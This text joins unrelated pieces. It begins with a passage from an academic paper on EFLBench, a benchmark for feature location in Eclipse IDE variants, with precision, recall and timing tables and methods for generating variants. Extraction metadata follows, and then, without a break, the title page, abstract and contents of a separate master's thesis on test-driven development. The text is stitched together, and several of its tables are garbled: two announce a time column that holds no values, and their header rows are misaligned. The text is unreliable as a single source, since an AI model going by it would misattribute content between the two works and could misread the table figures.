Equation 4, where we use raw term frequency ($tf$) which is calculated counting the occurrences of a given term in a document, inverse document frequency ($idf$) which measures how much rare or common a term is across all the documents using a logarithmic scale and, finally, tf-idf uses $tf$ multiplied by $idf$ to penalize or encourage a term depending on its occurrence across $D$. In our context, the idea is that words appearing more frequently through the features may not be as important as less frequent words. $$ tf(term_i, d) = f_{term_i,d} \tag{4} $$ $$ idf(term_i, D) = \log \left( \frac{|D|}{|\{d \in D : term_i \in d\}|} \right) $$ $$ tf-idf(term_i, d, D) = tf(term_i, d.terms) \times idf(term_i, D) $$ Given that tf-idf is used in SFS+TFIDF, we illustrate it in the context of Eclipse features. For example “Core”, “Client” or “Documentation” are more frequent words across features but “CVS” or “BIRT”, being less frequent, are probably more relevant, informative or discriminating. 6.2. Results in Eclipse releases We used the benchmark created with each of the Eclipse releases presented in Table 2. The experiments were launched using BUT4Reuse (commit ce3a002) which contains the presented feature location techniques. Detailed instructions for reproducibility are available. We used a laptop Dell Latitude E6330 with a processor Intel(R) Core(TM) i7-3540M CPU@3.00GHz with 8GB RAM and Windows 7 64-bit. After using the benchmark, we obtained the results shown in Table 3. Precision and Recall are the mean of all the features as discussed at the end of Section 5.2. The results in terms of precision are not satisfactory in the presented feature location techniques. This suggests that the case study is challenging. Also, we noticed that there are no relevant differences in the results of these techniques among the different Eclipse releases. As discussed before, given the small number of Eclipse variants under consideration, FCA is able to distinguish blocks which may actually correspond to a high number of features. For example, all the plugins corresponding specifically to the Eclipse Modeling variant, will be grouped in one block while many features are involved. Despite that these techniques are used in feature location of feature-based variants we provide these results to be used as baselines to motivate the search of more accurate feature location techniques and to show that the benchmark is appropriate to advance the research in this field. Another example, in Eclipse Kepler SR2, FCA-based block identification identifies 60 blocks with an average of 34 plugins per block and a standard deviation of 54 plugins. In Eclipse Europa Winter, with only 4 variants, only 6 blocks are identified with an average of 80 plugins each and a standard deviation of 81. Given the low number of Eclipse variants, FCA identifies a low number of blocks. The number of blocks is specially low if we compare it with the actual number of features that we aim to locate (e.g., 60 blocks in Kepler SR2 against its 437 features). The higher the number of Eclipse variants, the more likely FCA will be able to distinguish different blocks. Table 3: Precision (Prec) and recall of the different feature location techniques. <table> <thead> <tr> <th>Release</th> <th>SFS Prec</th> <th>SFS Recall</th> <th>SFS+ST Prec</th> <th>SFS+ST Recall</th> <th>SFS+TF Prec</th> <th>SFS+TF Recall</th> <th>SFS+TFIDF Prec</th> <th>SFS+TFIDF Recall</th> </tr> </thead> <tbody> <tr> <td>Europa Winter</td> <td>6.51</td> <td>99.33</td> <td>11.11</td> <td>85.71</td> <td>12.43</td> <td>58.69</td> <td>13.07</td> <td>53.72</td> </tr> <tr> <td>Ganymede SR2</td> <td>5.13</td> <td>97.33</td> <td>10.36</td> <td>87.72</td> <td>11.65</td> <td>64.31</td> <td>12.80</td> <td>52.70</td> </tr> <tr> <td>Galileo SR2</td> <td>7.13</td> <td>93.39</td> <td>10.92</td> <td>82.01</td> <td>11.82</td> <td>60.50</td> <td>12.45</td> <td>53.51</td> </tr> <tr> <td>Helios SR2</td> <td>9.70</td> <td>91.63</td> <td>16.04</td> <td>80.98</td> <td>25.97</td> <td>63.70</td> <td>29.46</td> <td>58.39</td> </tr> <tr> <td>Indigo SR2</td> <td>9.58</td> <td>92.80</td> <td>15.72</td> <td>82.63</td> <td>19.79</td> <td>59.72</td> <td>22.86</td> <td>57.57</td> </tr> <tr> <td>Juno SR2</td> <td>10.83</td> <td>91.41</td> <td>19.08</td> <td>81.75</td> <td>25.97</td> <td>61.92</td> <td>24.89</td> <td>60.82</td> </tr> <tr> <td>Kepler SR2</td> <td>9.53</td> <td>91.14</td> <td>16.51</td> <td>83.82</td> <td>26.38</td> <td>62.66</td> <td>26.86</td> <td>57.15</td> </tr> <tr> <td>Luna SR2</td> <td>7.72</td> <td>89.82</td> <td>13.87</td> <td>82.72</td> <td>22.72</td> <td>56.67</td> <td>23.73</td> <td>51.31</td> </tr> </tbody> </table> Mean 8.26 93.35 14.20 83.41 19.59 61.02 20.76 55.64 The first location technique (FCA+SFS) does not assume meaningful names given that no IR technique is used. The features are located in the elements --- 3https://github.com/but4reuse/but4reuse/wiki/Benchmarks of a whole block obtaining a high recall (few plugins missing). Eclipse feature names and descriptions are probably written by the same community of developers that create the plugins and decide their names. In the approaches using IR techniques, it was expected a higher increment of precision without a loss of recall but the results suggest that a certain divergence exists between the vocabulary used at feature level and at implementation level. Regarding the time performance, Table 4 shows, in milliseconds, the time spent for the different releases. The Adapt column corresponds to the time to decompose the Eclipse variants into a set of plugin elements and get their information. This adaptation step heavily rely to access the file system and we obtain better time results after the second adaptation of the same Eclipse variant. The FCA time corresponds to the time for block identification. We consider Adapt and FCA as the preparation time. Then, the following columns show the time of the different feature location techniques. We can observe that the time performance is not a limitation of these techniques as they take a maximum of around half a minute. Table 4: Time performance in milliseconds for feature location. <table> <thead> <tr> <th>Release</th> <th>Adapt</th> <th>FCA</th> <th>SFS</th> <th>SFS+ST</th> <th>SFS+TF</th> <th>SFS+TFIDF</th> </tr> </thead> <tbody> <tr> <td>Europa Winter</td> <td>2,397</td> <td>75</td> <td>6</td> <td>2,581</td> <td>2,587</td> <td>4,363</td> </tr> <tr> <td>Ganymede SR2</td> <td>7,568</td> <td>741</td> <td>56</td> <td>11,861</td> <td>11,657</td> <td>23,253</td> </tr> <tr> <td>Galileo SR2</td> <td>10,832</td> <td>1,328</td> <td>107</td> <td>17,990</td> <td>17,726</td> <td>35,236</td> </tr> <tr> <td>Helios SR2</td> <td>11,844</td> <td>1,258</td> <td>86</td> <td>5,654</td> <td>5,673</td> <td>12,742</td> </tr> <tr> <td>Indigo SR2</td> <td>12,942</td> <td>1,684</td> <td>100</td> <td>8,782</td> <td>8,397</td> <td>16,753</td> </tr> <tr> <td>Juno SR2</td> <td>16,775</td> <td>2,757</td> <td>197</td> <td>7,365</td> <td>7,496</td> <td>14,002</td> </tr> <tr> <td>Kepler SR2</td> <td>16,786</td> <td>2,793</td> <td>173</td> <td>8,586</td> <td>8,776</td> <td>16,073</td> </tr> <tr> <td>Luna SR2</td> <td>17,841</td> <td>3,908</td> <td>233</td> <td>15,238</td> <td>15,363</td> <td>33,518</td> </tr> <tr> <td>Mean</td> <td>12,123</td> <td>1,818</td> <td>120</td> <td>9,757</td> <td>9,709</td> <td>19,493</td> </tr> </tbody> </table> It is out of the scope of the EFLBench contribution to propose feature location techniques that could obtain better results in the presented cases. The objective is to present the benchmark usage showing that quick feedback from feature location techniques can be obtained in the Eclipse releases case studies. In addition, we provide empirical results of four feature location techniques that can be used as baseline. 7. Automatic and parametrizable generator of Eclipse variants The main motivation for the generation of variants is that it enables to evaluate the feature location techniques in controlled settings. As shown in Table 2, the number of official variants of an Eclipse release amounts to around 12 Eclipse variants. In order to provide a framework for intensive evaluation of feature location techniques, cases with larger number of Eclipse variants are desired. In addition, a parametrizable number of variants could serve to analyse the results of the same feature location technique under different circumstances. For instance, it is interesting to evaluate the same technique in cases with variants which are similar, or dissimilar, among them. Using the Jaccard similarity measure between pairs of variants [49, 50] (calculated as the size of the intersection of the selected features divided by the size of the union) and considering the official releases, we observe that the average similarity ranges from the 22% of Ganymede SR2 to the 27% of Galileo SR2, with an average of 25% for the eight presented releases. Therefore, these families are homogeneous in terms of the average similarity between variants. However, it is desired to experiment in other settings to evaluate this factor in the different techniques. It is not evident where to find real Eclipse configurations and how to group them to satisfy certain desired characteristics, therefore we extended our framework with the generation of variants enabling the possibility to create several settings regarding the number of variants and the similarity among them. We extended the benchmark construction phase of EFLBench with an automatic and parametrizable generator of Eclipse variants to construct benchmarks with tailored characteristics. The approach consists in automatically creating variants taking as input a user-specified Eclipse variant. We agree that generated variants are synthetic variants which can be seen as non representative variants of realistic cases (i.e., we cannot validate if the set of features makes sense for a real development scenario). For using EFLBench with realistic variants we should rely on the official Eclipse releases as we presented in Section 6. For the generated variants we can only guarantee the following two characteristics. - Feature constraints are respected (i.e., dependencies of the features) - The Eclipse variant can be executed. Figure 8 illustrates the benchmark construction phase using the automatic generation of Eclipse variants. First, as shown on the upper left side of the figure, we take as input an Eclipse variant to extract its features and feature constraints. These features and constraints define a configuration space in the sense that, by deselecting features, we can still have valid Eclipse configurations (i.e., all the feature constraints are satisfied). Then, we leverage this configuration space to select a set of configurations. The automatic selection of configurations is parametrized by a given strategy, thus, this step is extensible to different implementations. Below, we present three different strategies that we have implemented. Finally, once the set of configurations are selected, we implemented an automatic method to construct the variants through the input Eclipse and the feature configurations. The constructed variants are created for preparing the benchmark construction but, if desired, given that constraints are respected, they can be executed in the same way as the variants in Eclipse releases. 7.1. Strategies for the automatic selection of configurations We implemented three strategies to select configurations from a set of features and constraints with the final objective to construct benchmarks presenting different characteristics. Apart from the input Eclipse, the three take as input a user-specified number of variants ($n$) that want to be generated. We present the three strategies and then discuss their properties: - **Random selection strategy**: In this strategy, we randomly select $n$ configurations from the configuration space. The configuration space is the set of all possible valid configurations (those that satisfy all the constraints among features). Therefore, this strategy can be illustrated as repeating $n$ times the selection of a random number from one to the size of the configuration space, and then taking the feature configuration associated to this number. The selection of random valid configurations, taking as input features and their constraints, is implemented through a functionality offered by the PLEDGE library [Product Line Editor and tests Generation tool] [51]. We used the PLEDGE tool as a black box library as it fitted our needs and that had already proven useful in other cases of randomly selecting configurations in the way we have described. PLEDGE internally relies on a boolean satisfiability problem solver (SAT solver) [52, 53]. - **Random selection strategy trying to maximize dissimilarity**: This strategy aims to obtain a set of $n$ configurations that maximize their global dissimilarity. That means that an optimization algorithm explores the configuration space trying to find the set of $n$ configurations from the configuration space that are more different among them. For this we use again the available PLEDGE functionality. First, PLEDGE selects $n$ random configurations and then, they evolve over time by performing mutations. Concretely, it applies a search-based approach guided by a fitness function that tries to identify the most dissimilar configurations based on the Jaccard distance [49, 50]. The best solution found (the set of $n$ configurations) at time $t$ is returned as result. This strategy demands to select the time ($t$) allocated to the search-based algorithm. Once the allowed time is over, the set of configurations are obtained. - **Percentage-based random selection strategy**: This strategy consists of two steps. First, we ignore the constraints and we go through the feature list deciding if we select or not each feature. This is automated by a user-specified percentage \( p \) defining the chances of the features of being selected. Second, once some features are randomly selected, we need to guarantee that the feature constraints are satisfied. We may have included a feature that requires another one that was not included. Therefore, we repair the configuration including the missing features until obtaining a valid configuration. This strategy does not use PLEDGE. Since Eclipse features only provide dependency constraints, satisfying those constraints using the mentioned repair approach is trivial and no SAT solver is needed. The three algorithms for the strategies that we have presented have stochastic components. In the following paragraphs we show the characteristics that we can be expected from each of them based on empirical data of their usage. ![Diagram](image) **(a) Random** **(b) Dissimilarity** Figure 9: Different settings of the first two strategies for selecting configurations taking as input the features and constraints extracted from the Modeling variant of the Eclipse Kepler SR2. Each boxplot shows the number of features in the selection of 1000 configurations. Using as input the Modeling variant of Eclipse Kepler SR2, Figures 9 and 10 show, in the vertical axis, the number of features in 1000 automatically selected configurations using the presented strategies. The total number of features of the input Eclipse variant is 173 corresponding to the maximum value. Considering the feature constraints, the configuration space exceeds one million configurations. In the case of the random and dissimilarity strategies, as shown in Figures 9a and 9b, we can observe that only some outlier configurations reach a large number of selected features. Given that the dissimilarity strategy Figure 10: Different settings of the Percentage-based random selection strategy for selecting configurations taking as input the features and constraints extracted from the Modeling variant of the Eclipse Kepler SR2. Each boxplot shows the number of features in the selection of 1000 configurations. depends on the number of desired variants to generate, we repeated the process with different number of configurations (not only 1000) obtaining analogous results. We also observed that the time allowed for the search-based algorithm did not affect the number of selected features, at least from 10 minutes to 1 hour as shown in Figure 9b. On the contrary, in Figure 10, we can observe how the user-specified percentage has an impact in the median of selected features. For example, using the random strategy, we should expect variants with around 50% of the features selected from the input Eclipse. On the contrary, if we select percentage-based random selection with 90% of user-specified percentage, we should expect variants with almost all the features selected from the input Eclipse. Larger percentages using the percentage-based random selection allow to obtain configurations with a larger number of selected features and, therefore, there will be fewer chances to obtain dissimilar variants using this strategy compared to the ones using random selection. Empirical studies of Henard et al. showed that dissimilar configurations exhibit interesting properties in terms of pairwise coverage [50]. Pairwise coverage measure the coverage of all possible discrete combinations of features. The first and second strategy can be used to evaluate how a feature location technique behaves with dissimilar variants with high pairwise coverage. They also showed that the strategy of selecting random configurations from the configuration space, without the search-based step, already obtained a median of more than 90% of pairwise coverage in 120 FMs of moderate size (i.e., less than one thousand features). The third strategy, compared to the first two, allows to have more control over the total number of selected features per configuration. 7.2. Results using automatic generation of variants We show examples of using the EFLBench strategies for automatic generation of Eclipse variants. We focus on discussing the results of evaluating the FCA+SFS feature location technique. This technique that first uses FCA and then SFS was presented in Section 6.1. As input for the random generation strategies, we use the Modeling variant of Eclipse Kepler SR2 which is the same used to illustrate the strategies for selecting configurations in Figures 9 and 10. Using percentage-based random selection of features, we aim to empirically analyse whether the number of available variants has an impact on the FCA+SFS technique. First, we generated 100 variants using 40% as percentage for feature selection. By setting this percentage, the first 10 variants cover the 173 features which is the total number of features of the input Eclipse. This allows the construction of different benchmarking settings adding 10 variants each time while keeping the total number of possible features constant. Table 5: Precision, recall and time measures in milliseconds of the FCA+SFS feature location technique in sets of randomly generated Eclipse variants using the percentage-based random strategy. <table> <thead> <tr> <th>Percentage-based random using 40%</th> <th>FCA+SFS</th> <th>Time</th> </tr> </thead> <tbody> <tr> <td></td> <td>Precision</td> <td>Recall</td> </tr> <tr> <td>10 variants</td> <td>33.40</td> <td>96.55</td> </tr> <tr> <td>20 variants</td> <td>47.91</td> <td>96.02</td> </tr> <tr> <td>30 variants</td> <td>55.62</td> <td>95.41</td> </tr> <tr> <td>40 variants</td> <td>58.60</td> <td>95.41</td> </tr> <tr> <td>50 variants</td> <td>61.01</td> <td>93.10</td> </tr> <tr> <td>60 variants</td> <td>62.57</td> <td>90.73</td> </tr> <tr> <td>70 variants</td> <td>64.78</td> <td>90.63</td> </tr> <tr> <td>80 variants</td> <td>65.40</td> <td>90.02</td> </tr> <tr> <td>90 variants</td> <td>66.02</td> <td>89.57</td> </tr> <tr> <td>100 variants</td> <td>66.02</td> <td>89.57</td> </tr> </tbody> </table> Table 6: Precision, recall and time measures in milliseconds of the FCA+SFS feature location technique in sets of randomly generated Eclipse variants using the random strategy. <table> <thead> <tr> <th>Random</th> <th>FCA+SFS</th> <th>Time</th> </tr> </thead> <tbody> <tr> <td></td> <td>Precision</td> <td>Recall</td> </tr> <tr> <td>10 variants</td> <td>72.83</td> <td>86.33</td> </tr> <tr> <td>20 variants</td> <td>90.49</td> <td>84.97</td> </tr> <tr> <td>30 variants</td> <td>91.81</td> <td>84.97</td> </tr> <tr> <td>40 variants</td> <td>93.13</td> <td>84.97</td> </tr> <tr> <td>50 variants</td> <td>93.13</td> <td>84.97</td> </tr> <tr> <td>60 variants</td> <td>93.13</td> <td>84.97</td> </tr> <tr> <td>70 variants</td> <td>93.13</td> <td>84.97</td> </tr> <tr> <td>80 variants</td> <td>93.13</td> <td>84.97</td> </tr> <tr> <td>90 variants</td> <td>93.80</td> <td>84.97</td> </tr> <tr> <td>100 variants</td> <td>93.80</td> <td>84.97</td> </tr> </tbody> </table> Table 5 shows the precision and recall obtained for FCA+SFS when considering different number of variants. We can observe how precision improves with the number of variants. From 10 to 20 variants, we have a precision improvement of around 15%. Beyond 30 variants, it seems that the included variants, with their feature combinations, are not adding more information that can be exploited by the FCA+SFS technique. As an extreme case, we can observe how we obtain the same precision with 90 and 100 variants even if we are including 10 more different variants. This non-linearity of the precision when we add more variants might seem counter-intuitive. However, it is related to the fact that adding more variants do not necessarily means that we are including new feature combinations that did not exist in the previous variants. Regarding recall, independently of the number of variants we obtain very high levels of recall. It slightly decreases 7% from 10 to 100 variants, while precision increases, mainly because of the “noise” introduced by non-conformities in feature specification discussed in Section 4.1. Table 5 also presents time measures of one execution showing that the FCA+SFS technique scales correctly for 100 variants in this benchmark. Concretely, it took only around 15 seconds in total for FCA and SFS. If we include, as part of the feature location process, the time for adapting the variants using the Eclipse adapter (the Adapt time mentioned in Section 6), in the case of 100 variants it took 35 minutes which is still acceptable. We used the same Modeling variant as input to generate 100 variants with the random selection strategy. As in the previous experiment, we keep the number of features constant given that 10 variants already cover the 173 features. Then, we calculate the results by incrementally adding another 10 variants. Table 6 shows the results of the same technique (FCA+SFS) in this new setting where we can observe that, with only 10 variants, we have 72.83% of precision. The result with 10 variants generated with this random selection strategy is better compared with the same number of variants generated through the percentage-based random selection which was 33.4% as shown in Table 5 (i.e., around 50% of difference in precision). Also, using 10 variants with the random strategy, the technique performs better than 100 variants with the percentage-based random selection (66.02% of precision). Then, starting with 20 variants we reach 90% precision and then from 40 to 80 variants it stays constant in 93.13%. This fact suggests again that including variants is not enough to increase the precision. This result empirically suggests that the FCA+SFS feature location technique performs better when the variants are more dissimilar. We calculated the average Jaccard similarity between the variants using the two strategies: The random strategy creates groups of 10 variants with an average similarity of 41% while the percentage-based random selection (using 40%) has an average similarity of 73%. It seems that dissimilar configurations cover many more distinct pairs of features and thus make easier to locate the features. It is worth to mention that the dissimilarity strategy obtained similar results as the ones presented in Table 6 which used the random strategy. In several runs, for 10 variants we obtain around 70% of precision while for 20 variants we already reach 90%. The average Jaccard similarity using the dissimilarity strategy (with 10 minutes for the search-based step) is 37% which indicates that they are more dissimilar than the random strategy (41%). In this case, the marginal difference in terms of similarity (i.e., 4%) explains the small difference on the feature location results. The presented examples are intended to show the capabilities of EFLBench in creating scenarios to compare the results of feature location techniques. Concretely, we have shown how to analyse the result 1) with different number of variants and 2) with the same number of variants but with different degrees of similarity. In the presented case of the FCA+SFS feature location technique, we provided empirical evidences that having more available variants do not necessarily means better results in precision. However, dissimilar variants is an important factor for obtaining higher levels of precision. 8. Threats to validity The input for the feature location task presented in Section 5 might be considered few information if we compare it with concern location in maintenance tasks where it is a common practice to trace bug reports with the names and comments in the source code. However, in similar cases to our context of feature-based variants (e.g., the Linux-Kernel benchmark for feature location [18]), we can see that also feature names and descriptions are used as input. In this benchmark the feature location task is at a granularity of classes or code fragments, however in our case, it is at the coarse granularity of plugins where we only provide the plugin names as input. The description of features in Eclipse might be shorter than other kind of documents like bug reports, enhancement requests or other documentation such as requirements, however, this can be also seen as a challenging scenario to information retrieval techniques that will need to exploit other information (e.g., dependence graphs) to refine their results. In addition, EFLBench, being open-source, can be easily extended to integrate other sources of information to be used as input. Regarding the granularity of Eclipse features, depending on the Eclipse community projects we can identify different levels of granularity (from coarse-grained to less coarse-grained ones). This is related to how they have decided to group the functionalities. Their separation enables us to create a ground truth that comes from the Eclipse community instead of manually defining a ground truth which will be difficult to validate. However, it is worthy to mention that subfeatures are not part of the ground truth. For example, the feature of the editor to support C++ development can be separated in several functionalities such as editor syntax highlighting, code-completion etc. which are not part of the EFLBench ground truth. The editor support for C++, even if we can consider it a coarse-grained feature, there are still many features related to C++ in the Eclipse variants. For example, in Eclipse Kepler variants we have “C/C++ Development Tools”, “Autotools support”, “GCC Cross Compiler”, “Berkeley UPC (Unified Parallel C) Toolchain Support”, “C99 LR Parser”, “UPC (Unified Parallel C) Support”, “Memory View Enhancements” and more than ten optional features related to C++. We agree that each of them could be internally separated in more features but the number of optional features, as it is, it is already large. In industrial cases dealing with Eclipse variants [14] they discuss that more fine-grained variability might be desired. For example, they also consider different setting values inside a plugin as a feature. However, in their case study with the Siemens VAI MSS tool [14] their analysis is only at the level of plugins as we propose in EFLBench. In Eclipse variants we can find features that are not “conventional” functional features. For example, one feature is “Graphical Modeling Framework (GMF) Runtime” and another feature is “Graphical Modeling Framework (GMF) Runtime Source” which contains the source code documentation of the GMF Runtime. The latter can be certainly seen as a non conventional feature. However, in Eclipse Kepler, “GMF Runtime” is available in the Automotive and Modeling variants while “GMF Runtime Source” is only available in Modeling and not in Automotive. As another example, “Equinox p2 Core Function” is a feature that exists in all Eclipse variants, however, “Equinox p2 Core Function Source” is only available in DSL, Modeling, RCP, Scout and Standard, and not in Automotive, Cpp, Java, JEE, Parallel, Reporting and Testing variants. This indicates that the inclusion of this non conventional features in an Eclipse variant is performed in the same way as they do for conventional ones. If a feature is a distinguishable characteristic of a system that is relevant to some stakeholder then it seems that they differentiate between the users of the runtime and the plugin developers. The use of automatically generated variants can be seen as a limitation to the validity of evaluating feature location techniques using these inputs. However, in the feature location literature we find several cases where the variants are generated from an existing SPL [8]. For example, ArgoUML [17], the most used case study in feature location [8] was a single product which was reengineered as an SPL by decomposing its features [17]. The ArgoUML SPL is able to derive 256 variants but only around ten are selected for evaluating feature location techniques. Our random generation is based on the same principles used in ArgoUML. In our case, we take as input an Eclipse variant and we decompose it also in its features. Then, we select features using a given strategy to create the variants. Deriving variants from an existing SPL is a common practice in our research community as it is a way to have a ground truth to compare the results of the techniques (i.e., the mapping between features and implementation elements are known). This comes at the price of using “synthetic” variants which are valid regarding feature constraints but that can represent non realistic variants (i.e., we cannot validate if they can respond to real customer requirements). Apart from using realistic variants of the official Eclipse releases, several executions of the random generation approaches can provide complementary insights about the feature location techniques. 9. Conclusions We have presented EFLBench, a framework and a benchmark for supporting research on feature location in artefact variants. Existing and future techniques dealing with this activity in extractive SPL adoption can find a challenging playground which is directly reproducible. The benchmark can be constructed from any set of Eclipse variants from which the ground truth is extracted. We have shown examples of its usage with the Eclipse variants of the official releases for analysing four different feature location techniques. We also provide automatic generation of Eclipse variants using three strategies to support the creation of different benchmarking scenarios. We discussed the evaluation of one of the feature location techniques using randomly generated sets of Eclipse variants. We provided evidences that the number of variants and the similarity among them are important factors for feature location techniques. We plan to use the benchmark in order to evaluate existing and innovative feature location techniques while also encouraging the research community on using it as part of their evaluation. In order to extend our framework, there is interest in mining software repositories, forums and issue trackers to identify real configurations of Eclipse from practitioners beyond the official releases. Also, given the high proliferation of feature location techniques, meta-techniques can be proposed such as voting systems where the results of several techniques could provide better results than using each of them independently. Another interesting open research question is related to the impact in extractive SPL adoption of the results obtained with feature location techniques. We need more empirical analysis of what is the actual meaning of precision and recall by measuring the time and effort required by domain experts to fully locate the features after applying these techniques (i.e., manually removing false positives and adding false negatives). References [41] I. E. Araar, H. Seridi, Software features extraction from object-oriented source code using an overlapping clustering approach, Informatica 40 (2).
{"Source-Url": "http://orbilu.uni.lu/bitstream/10993/37452/1/EFLBench.pdf", "len_cl100k_base": 15512, "olmocr-version": "0.1.53", "pdf-total-pages": 31, "total-fallback-pages": 0, "total-input-tokens": 71612, "total-output-tokens": 21039, "length": "2e13", "weborganizer": {"__label__adult": 0.00030040740966796875, "__label__art_design": 0.0003812313079833984, "__label__crime_law": 0.00021409988403320312, "__label__education_jobs": 0.0010852813720703125, "__label__entertainment": 5.543231964111328e-05, "__label__fashion_beauty": 0.00012862682342529297, "__label__finance_business": 0.0001959800720214844, "__label__food_dining": 0.00018393993377685547, "__label__games": 0.0005803108215332031, "__label__hardware": 0.00043392181396484375, "__label__health": 0.0002036094665527344, "__label__history": 0.0002160072326660156, "__label__home_hobbies": 6.264448165893555e-05, "__label__industrial": 0.00018024444580078125, "__label__literature": 0.0002465248107910156, "__label__politics": 0.00017189979553222656, "__label__religion": 0.00026679039001464844, "__label__science_tech": 0.005218505859375, "__label__social_life": 7.992982864379883e-05, "__label__software": 0.00848388671875, "__label__software_dev": 0.98095703125, "__label__sports_fitness": 0.0001761913299560547, "__label__transportation": 0.00025177001953125, "__label__travel": 0.00015401840209960938}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 81268, 0.07134]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 81268, 0.22152]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 81268, 0.88162]], "google_gemma-3-12b-it_contains_pii": [[0, 2255, false], [2255, 4974, null], [4974, 8147, null], [8147, 10515, null], [10515, 13846, null], [13846, 17122, null], [17122, 19894, null], [19894, 21112, null], [21112, 23360, null], [23360, 26514, null], [26514, 28358, null], [28358, 31243, null], [31243, 33448, null], [33448, 36502, null], [36502, 38621, null], [38621, 42333, null], [42333, 45397, null], [45397, 48651, null], [48651, 50644, null], [50644, 52700, null], [52700, 54849, null], [54849, 57748, null], [57748, 61245, null], [61245, 64452, null], [64452, 67610, null], [67610, 70482, null], [70482, 72784, null], [72784, 75242, null], [75242, 77603, null], [77603, 80149, null], [80149, 81268, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2255, true], [2255, 4974, null], [4974, 8147, null], [8147, 10515, null], [10515, 13846, null], [13846, 17122, null], [17122, 19894, null], [19894, 21112, null], [21112, 23360, null], [23360, 26514, null], [26514, 28358, null], [28358, 31243, null], [31243, 33448, null], [33448, 36502, null], [36502, 38621, null], [38621, 42333, null], [42333, 45397, null], [45397, 48651, null], [48651, 50644, null], [50644, 52700, null], [52700, 54849, null], [54849, 57748, null], [57748, 61245, null], [61245, 64452, null], [64452, 67610, null], [67610, 70482, null], [70482, 72784, null], [72784, 75242, null], [75242, 77603, null], [77603, 80149, null], [80149, 81268, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 81268, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 81268, null]], "pdf_page_numbers": [[0, 2255, 1], [2255, 4974, 2], [4974, 8147, 3], [8147, 10515, 4], [10515, 13846, 5], [13846, 17122, 6], [17122, 19894, 7], [19894, 21112, 8], [21112, 23360, 9], [23360, 26514, 10], [26514, 28358, 11], [28358, 31243, 12], [31243, 33448, 13], [33448, 36502, 14], [36502, 38621, 15], [38621, 42333, 16], [42333, 45397, 17], [45397, 48651, 18], [48651, 50644, 19], [50644, 52700, 20], [52700, 54849, 21], [54849, 57748, 22], [57748, 61245, 23], [61245, 64452, 24], [64452, 67610, 25], [67610, 70482, 26], [70482, 72784, 27], [72784, 75242, 28], [75242, 77603, 29], [77603, 80149, 30], [80149, 81268, 31]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 81268, 0.22603]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
46d4aa03390072473a6d6382ebaff7b6e8bbb145
Fall 2017 Best Practices for Test Driven Development Timothy Tacker Governors State University Follow this and additional works at: https://opus.govst.edu/theses Part of the Computer Sciences Commons Recommended Citation https://opus.govst.edu/theses/113 For more information about the academic degree, extended learning, and certificate programs of Governors State University, go to http://www.govst.edu/Academics/Degree_Programs_and_Certifications/ Visit the Governors State Computer Science Department This Thesis is brought to you for free and open access by the Student Theses at OPUS Open Portal to University Scholarship. It has been accepted for inclusion in All Student Theses by an authorized administrator of OPUS Open Portal to University Scholarship. For more information, please contact opus@govst.edu. BEST PRACTICES FOR TEST-DRIVEN DEVELOPMENT By Timothy W. Tacker B.S., Illinois State University, 2000 THESIS Submitted in partial fulfillment of the requirements For the Degree of Master of Science, With a Major in Computer Science Governors State University University Park, IL 60484 2017 Abstract In his award-winning book, Test-driven Development By Example, Kent Beck wrote, "Clean code that works...is the goal of Test-driven Development (TDD)." TDD is a style of software development that first begins with the creation of tests and then makes use short, iterative development cycles until all test requirements are fulfilled. In order to provide the reader with sufficient background to understand the concepts discussed, this thesis begins by presenting a detailed description of this style of development. TDD is then contrasted with other popular styles, with a focus toward highlighting the many benefits this style offers over the others. This thesis then offers the reader a series of concrete and practical best practices that can be used in conjunction with TDD. It is the hope of the author that these lessons learned will aid those considering the adoption of this style of development avoid a number of pitfalls. For my grandfather Dale. My education and career have been guided by an interest in technology for which he is directly responsible. Acknowledgements This thesis would not exist had it not been for the efforts of my parents to provide me with the resources, opportunity, environment, motivation, and encouragement to pursue higher education. I am extremely grateful for the many sacrifices they made. I also owe a debt of gratitude to the members of my committee. None were required to volunteer; however, the dedication of their time and energy is very much appreciated. ## Contents Abstract ........................................................................................................................................ iii Acknowledgements ..................................................................................................................... v Table of Figures ............................................................................................................................ ix Keywords ....................................................................................................................................... x 1. Introduction .............................................................................................................................. 1 1.1 Background ......................................................................................................................... 1 1.2 Topic ................................................................................................................................. 1 1.3 Importance ......................................................................................................................... 1 1.4 Need .................................................................................................................................. 1 1.5 Objective ......................................................................................................................... 2 1.6 Structure ......................................................................................................................... 2 2. Literature Review ..................................................................................................................... 2 2.1 History ............................................................................................................................. 2 2.2 Description ....................................................................................................................... 4 2.2.1 Purpose ..................................................................................................................... 4 2.2.2 Process ...................................................................................................................... 5 2.3. Benefits ........................................................................................................................... 8 2.3.1 Guaranteed requirements compliance ....................................................................... 8 2.3.2 Better facilitation of testing. ................................................................. 10 2.3.3 Better overall design. ................................................................. 11 2.3.4 Reduced need for debugging. ................................................................. 12 2.3.5 Reduced rate of defects. ................................................................. 13 2.3.6 Improved productivity. ................................................................. 13 2.4. Limitations .......................................................................................... 14 2.4.1 Increased initial effort. ................................................................. 14 2.4.2 Quality not guaranteed. ................................................................. 15 2.4.3 Traditional testing not replaced. ................................................................. 15 2.4.4 Not appropriate in all circumstances................................................................. 17 2.4.5 More refactoring required. ................................................................. 20 2.4.6 Extensive test maintenance. ................................................................. 22 2.5. Best 